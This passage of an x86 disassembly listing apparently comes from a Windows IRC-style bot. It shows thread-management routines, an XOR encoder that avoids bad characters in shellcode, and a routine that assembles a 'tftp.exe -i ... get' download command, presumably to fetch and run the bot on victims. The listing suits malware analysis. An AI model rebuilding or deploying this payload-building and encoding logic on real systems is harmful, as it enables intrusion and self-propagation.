[ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_4132F1 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_414C4B push offset unk_437A74 jmp short loc_414C50 ; --------------------------------------------------------------------------- loc_414C4B: ; CODE XREF: sub_4149DE+264j push offset unk_437A38 loc_414C50: ; CODE XREF: sub_4149DE+26Bj lea eax, [ebp+var_220] push edi push eax call sub_415A6A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414C80 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414C80: ; CODE XREF: sub_4149DE+286j lea eax, [ebp+var_220] push eax call sub_40B16D pop ecx loc_414C8D: ; CODE XREF: sub_4149DE+206j ; sub_4149DE+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_414BDC loc_414C98: ; CODE XREF: sub_4149DE+1F8j lea eax, [ebp+var_220] push offset unk_4379F4 push eax call sub_4154E7 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_414CC3 ; --------------------------------------------------------------------------- loc_414CB0: ; CODE XREF: sub_4149DE+173j lea eax, [ebp+var_220] push offset unk_437688 push eax call sub_4154E7 pop ecx pop ecx loc_414CC3: ; CODE XREF: sub_4149DE+2D0j cmp [ebp+arg_C], ebx jnz short loc_414CE1 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414CE1: ; CODE XREF: sub_4149DE+2E8j lea eax, [ebp+var_220] push eax call sub_40B16D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4149DE endp ; =============== S U B R O U T I N E ======================================= sub_414CF5 proc near ; CODE XREF: sub_414D15+Ap ; sub_414DED+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_415CF0 push [esp+8+arg_4] mov esi, eax call sub_415CF0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_414CF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D15 proc near ; CODE XREF: sub_414E04+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_414CF5 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_414D32 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_414D32: ; CODE XREF: sub_414D15+17j push ebx push esi push edi push [ebp+arg_8] call sub_415CF0 push [ebp+arg_C] mov esi, eax call sub_415CF0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_437C90, eax lea eax, [edi+1] mov dword_437CB1, eax lea eax, [edi+17h] mov dword_437CA9, eax pop eax push 74h sub eax, edi push offset dword_437C2C push ebx mov dword_437CBF, eax call sub_4155D0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_4155D0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_4155D0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_4155D0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_4155D0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_4155D0 add esi, edi push 38h add esi, ebx push offset byte_437CB5 push esi call sub_4155D0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_414D15 endp ; =============== S U B R O U T I N E ======================================= sub_414DED proc near ; CODE XREF: sub_414E04+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_414CF5 push eax call sub_414E71 add esp, 0Ch retn sub_414DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E04 proc near ; CODE XREF: sub_403178+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_414DED cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_414E24 cmp eax, 0FFFFh jbe short loc_414E28 loc_414E24: ; CODE XREF: sub_414E04+17j xor eax, eax jmp short loc_414E6D ; --------------------------------------------------------------------------- loc_414E28: ; CODE XREF: sub_414E04+1Ej push esi push edi push ebx call sub_414CF5 add eax, 101h push eax call sub_415DC9 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_414CF5 pop ecx pop ecx push eax push esi call sub_414D15 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_414E8C push esi mov edi, eax call sub_415E3D add esp, 24h mov eax, edi pop esi loc_414E6D: ; CODE XREF: sub_414E04+22j pop edi pop ebx pop ebp retn sub_414E04 endp ; =============== S U B R O U T I N E ======================================= sub_414E71 proc near ; CODE XREF: sub_414DED+Ep ; sub_414E8C+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_414E7A inc ecx loc_414E7A: ; CODE XREF: sub_414E71+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_414E71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E8C proc near ; CODE XREF: sub_414E04+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_414EA8 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_414EA8 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_414EA8 cmp byte ptr [ebp+arg_C], 0 jnz short loc_414EAB loc_414EA8: ; CODE XREF: sub_414E8C+8j ; sub_414E8C+Ej ... inc [ebp+arg_C] loc_414EAB: ; CODE XREF: sub_414E8C+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_414ED3 mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_414ECC cmp al, 0Dh jz short loc_414ECC cmp al, 5Ch jz short loc_414ECC test al, al jnz short loc_414ED3 loc_414ECC: ; CODE XREF: sub_414E8C+32j ; sub_414E8C+36j ... add [ebp+arg_C], 100h loc_414ED3: ; CODE XREF: sub_414E8C+28j ; sub_414E8C+3Ej push [ebp+arg_C] call sub_414E71 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_414EEB cmp eax, 0FFFFh jbe short loc_414EF2 loc_414EEB: ; CODE XREF: sub_414E8C+56j xor eax, eax jmp loc_414F90 ; --------------------------------------------------------------------------- loc_414EF2: ; CODE XREF: sub_414E8C+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_469488 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_414F22 loc_414F06: ; CODE XREF: sub_414E8C+94j mov al, [edx+edi] xor al, bl jz short loc_414F19 cmp al, 0Ah jz short loc_414F19 cmp al, 0Dh jz short loc_414F19 cmp al, 5Ch jnz short loc_414F1D loc_414F19: ; CODE XREF: sub_414E8C+7Fj ; sub_414E8C+83j ... inc bl xor edx, edx loc_414F1D: ; CODE XREF: sub_414E8C+8Bj inc edx cmp edx, ecx jb short loc_414F06 loc_414F22: ; CODE XREF: sub_414E8C+78j cmp ecx, esi mov byte_469488, bl ja short loc_414F4E push 15h push offset loc_437C14 push [ebp+arg_0] mov byte_437C21, cl mov byte_437C25, bl call sub_4155D0 add esp, 0Ch push 15h jmp short loc_414F6F ; --------------------------------------------------------------------------- loc_414F4E: ; CODE XREF: sub_414E8C+9Ej push 17h push offset loc_437BFC push [ebp+arg_0] mov word_437C0A, cx mov byte_437C0F, bl call sub_4155D0 add esp, 0Ch push 17h loc_414F6F: ; CODE XREF: sub_414E8C+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_414F8B mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_414F7D: ; CODE XREF: sub_414E8C+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_414F7D loc_414F8B: ; CODE XREF: sub_414E8C+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_414F90: ; CODE XREF: sub_414E8C+61j pop esi leave retn sub_414E8C endp ; =============== S U B R O U T I N E ======================================= sub_414F93 proc near ; CODE XREF: sub_406100+220p ; sub_407276+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43F348 loc_414F9B: ; CODE XREF: sub_414F93+18j cmp byte ptr [eax], 0 jz short loc_414FAF add eax, 234h inc edi cmp eax, offset dword_468838 jl short loc_414F9B jmp short loc_414FFA ; --------------------------------------------------------------------------- loc_414FAF: ; CODE XREF: sub_414F93+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43F348[esi] push eax call sub_416D40 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43F548[esi], eax and dword_43F54C[esi], 0 mov eax, [esp+8+arg_8] and dword_43F550[esi], 0 mov dword_43F554[esi], eax and byte_43F560[esi], 0 pop esi loc_414FFA: ; CODE XREF: sub_414F93+1Aj mov eax, edi pop edi retn sub_414F93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FFE proc near ; DATA XREF: sub_40CE55+5631o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_415050 push [ebp+var_14] call sub_4152AF add esp, 14h push 0 call dword_421048 pop edi pop esi sub_414FFE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415050 proc near ; CODE XREF: sub_414FFE+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h xor edi, edi mov esi, offset dword_43F348 loc_41507A: ; CODE XREF: sub_415050+78j cmp byte ptr [esi], 0 jz short loc_4150BB cmp [ebp+arg_C], 0 jnz short loc_41508E cmp dword ptr [esi+204h], 0 jnz short loc_4150BB loc_41508E: ; CODE XREF: sub_415050+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_4154E7 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 24h loc_4150BB: ; CODE XREF: sub_415050+2Dj ; sub_415050+3Cj add esi, 234h inc edi cmp esi, offset dword_468838 jl short loc_41507A pop edi pop esi leave retn sub_415050 endp ; =============== S U B R O U T I N E ======================================= sub_4150CE proc near ; CODE XREF: sub_40CE55+4A16p ; sub_41515C+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_415156 cmp esi, 12Ch jge short loc_415156 imul esi, 234h push edi push ebx push dword_43F55C[esi] lea edi, dword_43F55C[esi] call dword_421130 cmp [edi], ebx jz short loc_415106 push 1 pop ebp loc_415106: ; CODE XREF: sub_4150CE+33j mov [edi], ebx lea edi, dword_43F550[esi] mov dword_43F548[esi], ebx mov dword_43F54C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_415127 push eax call sub_414061 pop ecx loc_415127: ; CODE XREF: sub_4150CE+50j mov [edi], ebx lea edi, dword_43F554[esi] mov byte ptr dword_43F348[esi], bl mov byte_43F560[esi], bl push dword ptr [edi] call dword_43A450 lea esi, dword_43F558[esi] mov [edi], ebx push dword ptr [esi] call dword_43A450 mov [esi], ebx pop edi loc_415156: ; CODE XREF: sub_4150CE+Dj ; sub_4150CE+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_4150CE endp ; =============== S U B R O U T I N E ======================================= sub_41515C proc near ; CODE XREF: sub_409E15:loc_409E39p ; sub_40C59A+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43F348 loc_415168: ; CODE XREF: sub_41515C+2Aj cmp byte ptr [esi], 0 jz short loc_415179 push edi call sub_4150CE test eax, eax pop ecx jz short loc_415179 inc ebx loc_415179: ; CODE XREF: sub_41515C+Fj ; sub_41515C+1Aj add esi, 234h inc edi cmp esi, offset dword_468838 jl short loc_415168 pop edi mov eax, ebx pop esi pop ebx retn sub_41515C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41518E proc near ; CODE XREF: sub_40CE55+1CC9p ; sub_40CE55+1D37p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43F54C loc_4151A2: ; CODE XREF: sub_41518E+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_4151C4 test edi, edi jle short loc_4151B6 cmp [esi], edi jz short loc_4151B6 cmp ebx, edi jnz short loc_4151C4 loc_4151B6: ; CODE XREF: sub_41518E+1Ej ; sub_41518E+22j push ebx call sub_4150CE test eax, eax pop ecx jz short loc_4151C4 inc [ebp+var_4] loc_4151C4: ; CODE XREF: sub_41518E+1Aj ; sub_41518E+26j ... add esi, 234h inc ebx cmp esi, offset dword_468A3C jl short loc_4151A2 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41518E endp ; =============== S U B R O U T I N E ======================================= sub_4151DB proc near ; CODE XREF: sub_4071FF+Bp ; sub_407276+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43F548 loc_4151E2: ; CODE XREF: sub_4151DB+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_4151EB inc eax loc_4151EB: ; CODE XREF: sub_4151DB+Dj add ecx, 234h cmp ecx, offset dword_468A38 jl short loc_4151E2 retn sub_4151DB endp ; =============== S U B R O U T I N E ======================================= sub_4151FA proc near ; CODE XREF: sub_40CE55+50EBp arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43F548 loc_415204: ; CODE XREF: sub_4151FA+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_41521D add ecx, 234h inc edx cmp ecx, offset dword_468A38 jl short loc_415204 pop esi retn ; --------------------------------------------------------------------------- loc_41521D: ; CODE XREF: sub_4151FA+10j mov eax, edx pop esi retn sub_4151FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415221 proc near ; CODE XREF: sub_40CE55+1062p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_41523A push [ebp+arg_1C] call sub_415A5F pop ecx loc_41523A: ; CODE XREF: sub_415221+Ej push eax push [ebp+arg_18] call sub_41518E pop ecx test eax, eax pop ecx jle short loc_415266 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4154E7 add esp, 14h jmp short loc_415280 ; --------------------------------------------------------------------------- loc_415266: ; CODE XREF: sub_415221+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4154E7 add esp, 10h loc_415280: ; CODE XREF: sub_415221+43j cmp [ebp+arg_C], 0 jnz short loc_4152A0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4152A0: ; CODE XREF: sub_415221+63j lea eax, [ebp+var_200] push eax call sub_40B16D pop ecx leave retn sub_415221 endp ; =============== S U B R O U T I N E ======================================= sub_4152AF proc near ; CODE XREF: sub_401000+A2p ; sub_401447+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43F55C[eax], ecx mov dword_43F548[eax], ecx mov dword_43F54C[eax], ecx mov dword_43F550[eax], ecx mov dword_43F554[eax], ecx mov dword_43F558[eax], ecx mov byte ptr dword_43F348[eax], cl mov byte_43F560[eax], cl retn sub_4152AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152EC proc near ; CODE XREF: sub_40CE55+5BF6p ; sub_41541A+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4152F6: ; CODE XREF: sub_4152EC+68j mov cl, [esi] test cl, cl jz short loc_415356 cmp eax, 1 jnz short loc_415356 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_415356 cmp cl, 2Ah jz short loc_41533D cmp cl, 3Fh jz short loc_415320 cmp cl, 5Bh jz short loc_415325 xor eax, eax cmp cl, dl setz al loc_415320: ; CODE XREF: sub_4152EC+26j inc [ebp+arg_4] jmp short loc_415350 ; --------------------------------------------------------------------------- loc_415325: ; CODE XREF: sub_4152EC+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_415382 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_415350 ; --------------------------------------------------------------------------- loc_41533D: ; CODE XREF: sub_4152EC+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_41541A mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_415350: ; CODE XREF: sub_4152EC+37j ; sub_4152EC+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4152F6 ; --------------------------------------------------------------------------- loc_415356: ; CODE XREF: sub_4152EC+Ej ; sub_4152EC+13j ... cmp byte ptr [esi], 2Ah jnz short loc_415366 cmp eax, 1 jnz short loc_41537D inc esi mov [ebp+arg_0], esi jmp short loc_415356 ; --------------------------------------------------------------------------- loc_415366: ; CODE XREF: sub_4152EC+6Dj cmp eax, 1 jnz short loc_41537D mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_41537D cmp byte ptr [esi], 0 jnz short loc_41537D push 1 pop eax jmp short loc_41537F ; --------------------------------------------------------------------------- loc_41537D: ; CODE XREF: sub_4152EC+72j ; sub_4152EC+7Dj ... xor eax, eax loc_41537F: ; CODE XREF: sub_4152EC+8Fj pop esi pop ebp retn sub_4152EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415382 proc near ; CODE XREF: sub_4152EC+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_4153A3 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_4153A3: ; CODE XREF: sub_415382+19j push ebx push esi loc_4153A5: ; CODE XREF: sub_415382+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_4153B3 cmp [ebp+var_4], eax jnz short loc_4153FF loc_4153B3: ; CODE XREF: sub_415382+2Aj test edi, edi jnz short loc_4153F4 cmp bl, 2Dh jnz short loc_4153E8 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4153E8 cmp al, 5Dh jz short loc_4153E8 cmp [ebp+var_4], edi jnz short loc_4153E8 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4153F4 cmp bl, al jg short loc_4153F4 push 1 mov [edx], esi pop edi jmp short loc_4153F4 ; --------------------------------------------------------------------------- loc_4153E8: ; CODE XREF: sub_415382+38j ; sub_415382+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4153F4 push 1 pop edi loc_4153F4: ; CODE XREF: sub_415382+33j ; sub_415382+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_4153A5 ; --------------------------------------------------------------------------- loc_4153FF: ; CODE XREF: sub_415382+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_41540C mov ecx, eax sub ecx, edi mov edi, ecx loc_41540C: ; CODE XREF: sub_415382+82j cmp edi, eax jnz short loc_415415 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_415415: ; CODE XREF: sub_415382+8Cj mov eax, edi pop edi leave retn sub_415382 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41541A proc near ; CODE XREF: sub_4152EC+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_415436: ; CODE XREF: sub_41541A+3Aj cmp [eax], bl jz short loc_415456 mov cl, [ecx] cmp cl, 3Fh jz short loc_41544B cmp cl, 2Ah jnz short loc_415456 cmp cl, 3Fh jnz short loc_41544E loc_41544B: ; CODE XREF: sub_41541A+25j inc eax mov [edi], eax loc_41544E: ; CODE XREF: sub_41541A+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_415436 ; --------------------------------------------------------------------------- loc_415456: ; CODE XREF: sub_41541A+1Ej ; sub_41541A+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_415461 inc dword ptr [esi] jmp short loc_415456 ; --------------------------------------------------------------------------- loc_415461: ; CODE XREF: sub_41541A+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_415482 mov edx, [esi] cmp [edx], bl jz short loc_415473 xor eax, eax jmp short loc_4154E2 ; --------------------------------------------------------------------------- loc_415473: ; CODE XREF: sub_41541A+53j cmp cl, bl jnz short loc_415482 mov ecx, [esi] cmp [ecx], bl jnz short loc_415482 push 1 pop eax jmp short loc_4154E2 ; --------------------------------------------------------------------------- loc_415482: ; CODE XREF: sub_41541A+4Dj ; sub_41541A+5Bj ... push eax push dword ptr [esi] call sub_4152EC pop ecx test eax, eax pop ecx jnz short loc_4154CC loc_415490: ; CODE XREF: sub_41541A+B0j inc dword ptr [edi] mov eax, [edi] loc_415494: ; CODE XREF: sub_41541A+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_4154AC cmp cl, 5Bh jz short loc_4154AC cmp dl, bl jz short loc_4154AC inc eax mov [edi], eax jmp short loc_415494 ; --------------------------------------------------------------------------- loc_4154AC: ; CODE XREF: sub_41541A+82j ; sub_41541A+87j ... mov eax, [edi] cmp [eax], bl jz short loc_4154C3 push eax push dword ptr [esi] call sub_4152EC neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4154C8 ; --------------------------------------------------------------------------- loc_4154C3: ; CODE XREF: sub_41541A+96j mov [ebp+var_4], ebx xor eax, eax loc_4154C8: ; CODE XREF: sub_41541A+A7j cmp eax, ebx jnz short loc_415490 loc_4154CC: ; CODE XREF: sub_41541A+74j mov eax, [edi] cmp [eax], bl jnz short loc_4154DF mov eax, [esi] cmp [eax], bl jnz short loc_4154DF mov [ebp+var_4], 1 loc_4154DF: ; CODE XREF: sub_41541A+B6j ; sub_41541A+BCj mov eax, [ebp+var_4] loc_4154E2: ; CODE XREF: sub_41541A+57j ; sub_41541A+66j pop edi pop esi pop ebx leave retn sub_41541A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154E7 proc near ; CODE XREF: sub_401000+61p ; sub_4010B2+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_417D4C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_415527 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_415534 ; --------------------------------------------------------------------------- loc_415527: ; CODE XREF: sub_4154E7+36j lea eax, [ebp+var_20] push eax push 0 call sub_417C37 pop ecx pop ecx loc_415534: ; CODE XREF: sub_4154E7+3Ej mov eax, esi pop esi leave retn sub_4154E7 endp ; =============== S U B R O U T I N E ======================================= sub_415539 proc near ; CODE XREF: sub_401000+2Ep ; sub_401BD6+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_437D40, eax retn sub_415539 endp ; =============== S U B R O U T I N E ======================================= sub_415543 proc near ; CODE XREF: sub_4010B2+CBp ; sub_4010B2+13Fp ... mov eax, dword_437D40 imul eax, 343FDh add eax, 269EC3h mov dword_437D40, eax sar eax, 10h and eax, 7FFFh retn sub_415543 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415570 proc near ; CODE XREF: sub_4010B2+281p ; sub_401447+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4155C3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4155B7 neg ecx and ecx, 3 jz short loc_415599 sub edx, ecx loc_415593: ; CODE XREF: sub_415570+27j mov [edi], al inc edi dec ecx jnz short loc_415593 loc_415599: ; CODE XREF: sub_415570+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4155B7 rep stosd test edx, edx jz short loc_4155BD loc_4155B7: ; CODE XREF: sub_415570+18j ; sub_415570+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4155B7 loc_4155BD: ; CODE XREF: sub_415570+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4155C3: ; CODE XREF: sub_415570+Aj mov eax, [esp+arg_0] retn sub_415570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155D0 proc near ; CODE XREF: sub_4010B2+22Dp ; sub_4010B2+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4155F0 cmp edi, eax jb loc_415768 loc_4155F0: ; CODE XREF: sub_4155D0+16j test edi, 3 jnz short loc_41560C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41562C rep movsd jmp off_415718[edx*4] ; --------------------------------------------------------------------------- loc_41560C: ; CODE XREF: sub_4155D0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_415624 and eax, 3 add ecx, eax jmp dword ptr loc_41562C+4[eax*4] ; --------------------------------------------------------------------------- loc_415624: ; CODE XREF: sub_4155D0+46j jmp dword ptr loc_415728[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41562C: ; CODE XREF: sub_4155D0+31j ; sub_4155D0+8Ej ... jmp off_4156AC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415640 dd offset loc_41566C dd offset loc_415690 ; --------------------------------------------------------------------------- loc_415640: ; DATA XREF: sub_4155D0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41562C rep movsd jmp off_415718[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41566C: ; DATA XREF: sub_4155D0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41562C rep movsd jmp off_415718[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415690: ; DATA XREF: sub_4155D0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41562C rep movsd jmp off_415718[edx*4] ; --------------------------------------------------------------------------- align 4 off_4156AC dd offset loc_41570F ; DATA XREF: sub_4155D0:loc_41562Cr dd offset loc_4156FC dd offset loc_4156F4 dd offset loc_4156EC dd offset loc_4156E4 dd offset loc_4156DC dd offset loc_4156D4 dd offset 